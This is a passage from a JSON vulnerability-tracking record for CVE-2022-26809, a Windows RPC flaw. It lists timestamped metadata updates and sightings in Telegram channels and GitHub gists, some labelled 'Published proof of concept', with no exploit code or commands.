"https://t.me/CyberSecurityTechnologies/6326"}, {"timestamp": "2024-11-09T03:51:21Z", "date_only": false, "value": "2024-11-09T03:51:21.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/club31337/1051", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "d236d272-735f-4a1c-b39d-2ac9b22a1050", "content": "CVE-2022-26809 MS-RPC Vulnerability Analysis - SANS Institute\nhttps://www.youtube.com/watch?v=fQ06VUq3kd8\n\nExploiting Windows RPC - CVE-2022-26809 Explained | Patch Analysis\nhttps://www.youtube.com/watch?v=GGlwy3_jVYE&t=2s", "url": "https://t.me/club31337/1051"}, {"timestamp": "2025-01-02T18:51:59.836Z", "date_only": false, "value": "2025-01-02T18:51:59.836Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "CVE-2022-26809", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2025-01-02T18:51:59.836Z", "date_only": false, "value": "2025-01-02T18:51:59.836Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / microsoft", "record": "CVE-2022-26809", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2026-01-06T21:23:20.682Z", "date_only": false, "value": "2026-01-06T21:23:20.682Z", "kind": "other", "label": "Document generated", "source": "csaf_microsoft \u00b7 MSRC_CVE-2022-26809", "record": "MSRC_CVE-2022-26809", "field": "document.tracking.generator.date"}, {"timestamp": "2026-02-26T14:47:40Z", "date_only": false, "value": "2026-02-26T14:47:40.000000Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/gal-dahan-wiz/13c8354a0ad368d7f2c33206cf8c925d", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "c8ff7c3d-be5d-4126-bd3e-2e9d06b1e9bf", "url": "https://gist.github.com/gal-dahan-wiz/13c8354a0ad368d7f2c33206cf8c925d"}, {"timestamp": "2026-03-06T12:29:52Z", "date_only": false, "value": "2026-03-06T12:29:52.000000Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/gal-dahan-wiz/a770c7ef4af0cfe9030251cd58d6bb23", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "10248a4b-7b1f-4561-803d-fc86b7b1c09e", "url": "https://gist.github.com/gal-dahan-wiz/a770c7ef4af0cfe9030251cd58d6bb23"}, {"timestamp": "2026-06-17T04:35:52.470Z", "date_only": false, "value": "2026-06-17T04:35:52.470", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2022-26809", "record": "FKIE_CVE-2022-26809", "field": "lastModified"}, {"timestamp": "2026-07-17T05:00:04.768Z", "date_only": false, "value": "2026-07-17T05:00:04.768280Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/EchelonEyes/296", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "b3638f7c-cd34-4e97-bb5c-c572b226224f", "url": "https://t.me/EchelonEyes/296"}, {"timestamp": "2026-07-18T01:00:24.793Z", "date_only": false, "value": "2026-07-18T01:00:24.793333Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/EchelonEyes/296", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "18da1502-080a-4d44-807b-bcac5bfd6feb", "url": "https://t.me/EchelonEyes/296"}, {"timestamp": "2026-07-18T18:00:04.087Z", "date_only": false, "value": "2026-07-18T18:00:04.087312Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CVEhub/117", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "94f99f81-7c80-403b-bdd3-cd49c6de0e43", "url": "https://t.me/CVEhub/117"}, {"timestamp": "2026-07-19T00:00:10.581Z", "date_only": false, "value": "2026-07-19T00:00:10.581118Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CVEhub/117", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "ea334b12-0562-4481-b75e-dacc496e6241", "url": "https://t.me/CVEhub/117"}, {"timestamp": "2026-07-29T12:02:42.072Z", "date_only": false, "value": "2026-07-29T12:02:42.072046Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/reverseame/2347", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "9dc101e4-33c6-43ab-9935-82803331d5fc", "url": "https://t.me/reverseame/2347"}, {"timestamp": "2026-07-30T00:02:36.678Z", "date_only": false, "value": "2026-07-30T00:02:36.678722Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/reverseame/2347", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "4734c122-82be-42d4-b95e-fcaa42deb1a0", "url": "https://t.me/reverseame/2347"}, {"timestamp": "2026-08-03T00:04:30.803Z", "date_only": false, "value": "2026-08-03T00:04:30.803002Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/reverseame/2347", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "eacf26cb-c4c3-4b0d-8bb2-0369d5f92ccc", "url": "https://t.me/reverseame/2347"}, {"timestamp": "2026-08-15T08:00:10.656Z", "date_only": false, "value": "2026-08-15T08:00:10.656855Z", "kind": "sighting", "label": "Seen", "source": "Telegram/ffWrG2vtVX4rm7FRD7bLZYoEGK14q5Hi6L4lyHFGVnl9Czg", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "138b0b87-5857-49be-9521-bde5b0c365b1"}, {"timestamp": "2026-08-16T00:00:12.706Z", "date_only": false, "value": "2026-08-16T00:00:12.706452Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/ffWrG2vtVX4rm7FRD7bLZYoEGK14q5Hi6L4lyHFGVnl9Czg", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "9cc91e3e-38f2-4eea-9544-a387d622c6ca"}, {"timestamp": "2026-09-01T17:00:11.253Z", "date_only": false, "value": "2026-09-01T17:00:11.253793Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/Hackme_news/534", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "16b02e00-c959-4e1f-8652-e758d2597d15", "url": "https://t.me/Hackme_news/534"}, {"timestamp": "2026-09-01T17:00:26.968Z", "date_only": false, "value": "2026-09-01T17:00:26.968340Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cissp/5984", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "18802b0e-e698-4e45-8f62-0c612694205f", "url": "https://t.me/cissp/5984"}, {"timestamp": "2026-09-01T17:00:29.893Z", "date_only": false, "value": "2026-09-01T17:00:29.893568Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cissp/5743", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "1af75970-37de-435a-9f02-80343d21cee7", "url": "https://t.me/cissp/5743"}, {"timestamp": "2026-09-01T20:01:41.252Z", "date_only": false, "value": "2026-09-01T20:01:41.252369Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/hacking_Attack/53141", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "387aa916-896f-4b69-a481-b5fa78565777", "url": "https://t.me/hacking_Attack/53141"}, {"timestamp": "2026-09-01T20:01:45.457Z", "date_only": false, "value": "2026-09-01T20:01:45.457867Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/hacking_Attack/49990", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "ad8774a3-22be-4514-9f87-a883a0ca1e25", "url": "https://t.me/hacking_Attack/49990"}, {"timestamp": "2026-09-06T01:00:05.108Z", "date_only": false, "value": "2026-09-06T01:00:05.108487Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/49990", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "781044d8-f253-4c84-b563-895d8f1d2aeb", "url": "https://t.me/hacking_Attack/49990"}, {"timestamp": "2026-09-10T10:00:06.110Z", "date_only": false, "value": "2026-09-10T10:00:06.110749Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/cissp/5743", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "3600254d-53e6-46c0-9a31-54ec01770765", "url": "https://t.me/cissp/5743"}, {"timestamp": "2026-09-25T11:00:13Z", "date_only": false, "value": "2026-09-25T11:00:13.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/AEwUmxTHfjK52gcCzirRg3eKj4ECkiyGcn3Hrgzjr8KwPNw", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "bd0a86c1-06af-4995-bcaf-3436890f98d3"}, {"timestamp": "2026-09-25T11:00:13Z", "date_only": false, "value": "2026-09-25T11:00:13.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/AEwUmxTHfjK52gcCzirRg3eKj4ECkiyGcn3Hrgzjr8KwPNw", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "1bcba039-aea1-4020-a8f3-969d7f8bea94"}, {"timestamp": "2026-10-06T07:00:14Z", "date_only": false, "value": "2026-10-06T07:00:14.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/7x3P5T--NflQEsWSvG6uL2FcSk64zEA_ybgHP6Fl6W75d5A", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "c8ac3e9f-c115-4519-b63f-0aad4774bc2d"}, {"timestamp": "2026-10-06T07:00:14Z", "date_only": false, "value": "2026-10-06T07:00:14.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/7x3P5T--NflQEsWSvG6uL2FcSk64zEA_ybgHP6Fl6W75d5A", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "95be7c22-bd74-4ea8-9bf4-20f30705d9c7"}]}